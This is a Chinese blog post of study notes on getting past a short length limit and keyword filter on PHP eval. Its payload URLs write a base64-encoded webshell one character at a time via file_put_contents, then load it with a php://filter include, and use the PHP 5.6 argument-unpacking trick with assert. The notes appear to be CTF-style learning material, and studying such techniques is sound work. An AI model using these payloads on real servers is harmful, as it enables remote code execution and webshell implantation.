博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
eval & exec(绕过长度限制思路学习)
阅读量:6822 次
发布时间:2019-06-26

本文共 1306 字,大约阅读时间需要 4 分钟。

eval & exec知识点记录--原文章,只是记录一下我自己的学习过程。

1、eval & exec

if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {      //echo $param;      eval($param);}

访问URL:

eval执行的是php代码,可通过xxx?>html_code <? phpinfo();…这种形式来闭合eval标签。

exec执行操作系统命令(和``相同功能);

输出操作系统命令格式如下:


2、file_put_contents的用法

请求URL如下

1.php?param=$_GET[1](N, a, 8);&1=file_put_contents(error_log)类似

file_put_contents的第一个参数是文件名,我传入N。PHP会认为N是一个常量,但我之前并没有定义这个常量,于是PHP就会把它转换成字符串'N';第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。

来自的描述

官方定义如下(作为参考):

filename要被写入数据的文件名。data要写入的数据。类型可以是 , 或者是 stream 资源(如上面所说的那样)。

如果 data 指定为 stream 资源,这里 stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 函数。

参数 data 可以是数组(但不能为多维数组),这就相当于 file_put_contents($filename, join('', $array))flagsflags 的值可以是 以下 flag 使用 OR (|) 运算符进行的组合。

Available flags

Flag

描述

FILE_USE_INCLUDE_PATH

在 include 目录里搜索 filename。 更多信息可参见 。

FILE_APPEND

如果文件 filename 已经存在,追加数据而不是覆盖。

LOCK_EX

在写入时获得一个独占锁。

写入webshell 参数a不能是<,所以需要base64转义。

整体URL如下:

1.php?param=$_GET[0](N,P,8);&0=file_put_contents

wegbshell转义成base64(每次写入一个字符)然后通过文件包含拿shell

param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
 
3、变长数组特性(5.6,)
利用usrot(...$_GET);实现,传入数组1.php?1[]=test&1[]=var_dump($_SERVER);&2=assert
 
 

转载于:https://www.cnblogs.com/f3ngt1ng/p/6374983.html

你可能感兴趣的文章
AR、VR及MR在这几年越来越火红,之间又有哪些区别
查看>>
大数据正在改变汽车行业的5种方式
查看>>
40行Python代码,实现卷积特征可视化
查看>>
小米研发类Kindle电子阅读器
查看>>
「每日分享」Java中方法的重写与成员变量的隐藏
查看>>
Kubernetes Handbook v1.4发布同时后Kubernetes时代大幕拉启
查看>>
基于SonarQube代码质量检查工具总结
查看>>
Node.js性能分析神器Easy-Monitor
查看>>
springboot(八):RabbitMQ详解
查看>>
dob - 框架实现
查看>>
前端单页应用微服务化解决方案1 - 思考
查看>>
30 分钟 Qunit 入门教程
查看>>
关于一些Vue的文章。(7)
查看>>
git 干货系列:(三)我提交错了我想撤销或者回退版本
查看>>
如何获得一个稳定的数字货币协议——稳定是发展出来的,而不是设计出来的...
查看>>
GitHub 项目徽章的添加和设置
查看>>
为什么要用docker
查看>>
【webpack进阶】你真的掌握了loader么?- loader十问
查看>>
关于React事件回调函数bind(this)
查看>>
js数据结构--链表(likedList)
查看>>